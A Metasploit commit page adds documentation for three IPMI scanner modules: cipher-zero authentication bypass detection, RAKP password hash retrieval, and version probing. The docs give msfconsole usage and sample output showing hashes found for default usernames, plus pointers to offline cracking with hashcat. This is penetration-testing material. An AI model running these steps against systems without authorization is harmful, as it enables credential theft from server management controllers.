Skip to content

Commit 6f70efc

Browse files
author
Brent Cook
committed
add module documentation
1 parent 46c7e82 commit 6f70efc

File tree

5 files changed

+77
-2
lines changed

5 files changed

+77
-2
lines changed
Lines changed: 20 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,20 @@
1+
The ipmi_cipher_zero module is used to find IPMI 2.0-compatible systems that are vulnerable to an authentication bypass vulnerability through the use of IPMI cipher zero, which means no cipher is used at all.
2+
3+
## Vulnerable Devices
4+
5+
This is an error in the IPMI 2.0 specification itself, so any device BMC fully implementing IPMI 2.0 will possibly have the vulnerable non-cipher enabled.
6+
7+
## Verification Steps
8+
9+
Set RHOSTS to the target device or range and run:
10+
11+
```
12+
msf > use auxiliary/scanner/ipmi/ipmi_cipher_zero
13+
msf auxiliary(ipmi_cipher_zero) > set RHOSTS 192.168.1.2
14+
RHOSTS => 192.168.1.2
15+
msf auxiliary(ipmi_cipher_zero) > run
16+
17+
[*] Sending IPMI requests to 192.168.1.2->192.168.1.2 (1 hosts)
18+
[*] 192.168.1.2:623 - IPMI - NOT VULNERABLE: Rejected cipher zero with error code 17
19+
20+
```
Lines changed: 34 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,34 @@
1+
The ipmi_dumphashes module identifies IPMI 2.0-compatible systems and attempts to retrieve the HMAC-SHA1 password hashes of default usernames. The hashes can be stored in a file using the OUTPUT_FILE option and then cracked using hmac_sha1_crack.rb in the tools subdirectory as well hashcat (cpu) 0.46 or newer using type 7300.
2+
3+
## Vulnerable Devices
4+
5+
Any IPMI 2.0 device implementing the RAKP protocol according to the IPMI specification is vulnerable. This is a design flaw rather than a vendor-specific vulnerability.
6+
7+
## Verification Steps
8+
9+
Set RHOSTS to the target device or range and run:
10+
11+
```
12+
msf > use auxiliary/scanner/ipmi/ipmi_dumphashes
13+
msf auxiliary(ipmi_dumphashes) > set RHOSTS 192.168.1.2
14+
RHOSTS => 192.168.1.2
15+
msf auxiliary(ipmi_dumphashes) > run
16+
17+
[*] 192.168.1.2:623 - IPMI - Sending IPMI probes
18+
[*] 192.168.1.2:623 - IPMI - Trying username 'ADMIN'...
19+
[-] 192.168.1.2:623 - IPMI - Returned error code 13 for username ADMIN: Unauthorized name
20+
[*] 192.168.1.2:623 - IPMI - Trying username 'admin'...
21+
[-] 192.168.1.2:623 - IPMI - Returned error code 13 for username admin: Unauthorized name
22+
[*] 192.168.1.2:623 - IPMI - Trying username 'root'...
23+
[+] 192.168.1.2:623 - IPMI - Hash found: root:redacted
24+
[*] 192.168.1.2:623 - IPMI - Trying username 'Administrator'...
25+
[-] 192.168.1.2:623 - IPMI - Returned error code 13 for username Administrator: Unauthorized name
26+
[*] 192.168.1.2:623 - IPMI - Trying username 'USERID'...
27+
[-] 192.168.1.2:623 - IPMI - Returned error code 13 for username USERID: Unauthorized name
28+
[*] 192.168.1.2:623 - IPMI - Trying username 'guest'...
29+
[-] 192.168.1.2:623 - IPMI - Returned error code 13 for username guest: Unauthorized name
30+
[*] 192.168.1.2:623 - IPMI - Trying username ''...
31+
[+] 192.168.1.2:623 - IPMI - Hash found: redacted
32+
[*] Scanned 1 of 1 hosts (100% complete)
33+
[*] Auxiliary module execution completed
34+
```
Lines changed: 21 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,21 @@
1+
The ipmi_version module is used to identify the version of the IPMI specification implemented by devices on a network.
2+
3+
## Target Devices
4+
5+
Any exposed device that implements the IPMI specification should work with this module. This is a recon module rather than an exploitation module.
6+
7+
## Verification Steps
8+
9+
Set RHOSTS to the target device or range and run:
10+
11+
```
12+
msf > use auxiliary/scanner/ipmi/ipmi_version
13+
msf auxiliary(ipmi_version) > set RHOSTS 192.168.1.2
14+
RHOSTS => 192.168.1.2
15+
msf auxiliary(ipmi_version) > run
16+
17+
[*] Sending IPMI requests to 192.168.1.2->192.168.1.2 (1 hosts)
18+
[*] 192.168.1.2:623 - IPMI - Probe sent
19+
[+] 192.168.1.2:623 - IPMI - IPMI-2.0 OEMID:180010 UserAuth(auth_msg, auth_user, non_null_user) PassAuth(password, md5, md2) Level(1.5, 2.0)
20+
21+
```

modules/auxiliary/scanner/ipmi/ipmi_cipher_zero.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -16,7 +16,7 @@ def initialize
1616
super(
1717
'Name' => 'IPMI 2.0 Cipher Zero Authentication Bypass Scanner',
1818
'Description' => %q|
19-
This module identifies IPMI 2.0 compatible systems that are vulnerable
19+
This module identifies IPMI 2.0-compatible systems that are vulnerable
2020
to an authentication bypass vulnerability through the use of cipher
2121
zero.
2222
|,

modules/auxiliary/scanner/ipmi/ipmi_dumphashes.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -16,7 +16,7 @@ def initialize
1616
super(
1717
'Name' => 'IPMI 2.0 RAKP Remote SHA1 Password Hash Retrieval',
1818
'Description' => %q|
19-
This module identifies IPMI 2.0 compatible systems and attempts to retrieve the
19+
This module identifies IPMI 2.0-compatible systems and attempts to retrieve the
2020
HMAC-SHA1 password hashes of default usernames. The hashes can be stored in a
2121
file using the OUTPUT_FILE option and then cracked using hmac_sha1_crack.rb
2222
in the tools subdirectory as well hashcat (cpu) 0.46 or newer using type 7300.

0 commit comments

Comments
 (0)